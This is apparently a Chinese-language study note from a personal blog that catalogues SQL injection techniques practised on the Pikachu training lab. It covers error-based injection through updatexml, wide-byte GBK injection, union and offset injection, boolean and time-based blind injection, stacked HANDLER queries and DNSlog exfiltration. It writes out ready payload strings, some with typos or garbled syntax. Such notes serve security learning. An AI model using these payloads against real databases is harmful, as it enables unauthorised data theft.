sql

注:字母不加符号 数字表名加``(如:1561651635

报错注入

一、updatexml()注入
updatexml(1,(concat(0x7e,(show databese()),0x7e)),0)

爆表名:updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1),0x7e),1)

table_schema是数据库名称

爆字段:updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=’pikachu’ limit 0,1),0x7e),1)

爆字段内容: updatexml(1,concat(0x7e,(select flag from users limit 0,1),0x7e),1)

二、extractvalue()

宽字节注入

+%df 将/转换成GBK

\编码为%5C

BK编码的数据库,会将%df%5c识别为運字,这样\被%df给吃掉了,变成了一个汉字,这样的话,单引号就
有效了,就可以闭合前面的引号了,后面的or 1=1#这样的注入语句又能成功执行了,如下:

select * from member where username = ‘chao運’ or 1=1 #’` – 什么都查询到了

偏移量注入(知道表名,未知列名)

利用union select tables.*

tables为表名 可以是users.* (users为表名)

其他注入:1.加密注入 2.堆叠注入(使用;) 3.二次注入 4.中转注入 5.伪静态注入

具体另看

盲注(费力)

基于布尔型SQL盲注、基于时间型SQL盲注

基于布尔型SQL盲注(base on bool)

1.之前的思路不再适用,改为 select ascii(substr(database(),1,1))>xx; 通过对比ascii码的长度,
判断出数据库表名的第一个字符。

2.我们同样可以使用length来判断表名的长度,判断出长
度后就能多次输入payload来爆破出每一个表名的字符。select length(database())<xx;

注:substr()函数 substring – sub子集 string – 字符串 子字符串

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被
返回字符串的长度

基于时间型SQL盲注(base on time)

到base on time盲注下,输入上个演示中设置好的payload vince’ and ascii(substr(database(),1,1))=112# ,返回的信息发现不存在注入点。此时,需要用时间盲注

1’ and if(substr(database(),1,1)=’X’ (猜测
点)’,sleep(10),null# 如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误

vince’ and if(substr(database(),1,1)=’p’,sleep(10),null)# ,在web控制台下,判断出
database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解。

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置
函数,是将MD5(1)执行10000000次以达到延迟的效果

注:如果sleep被防御了,可以使用benchmark。

MySQL特有:handler

1’;handler 123open ;handler 1';handler 123read first;# 1';handler123open asa;handler a` read first;#

a 可加`可不加 纯数字表一定要加·

DNSlog方式

dnslog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析ip的记录,
可以在dns服务器上查询相应的dns解析记录,来获取我们想要的数据。

sqlmap


sql
https://junske51.github.io/kele6.github.io/2024/05/07/sql/
Author
John Doe
Posted on
May 7, 2024
Licensed under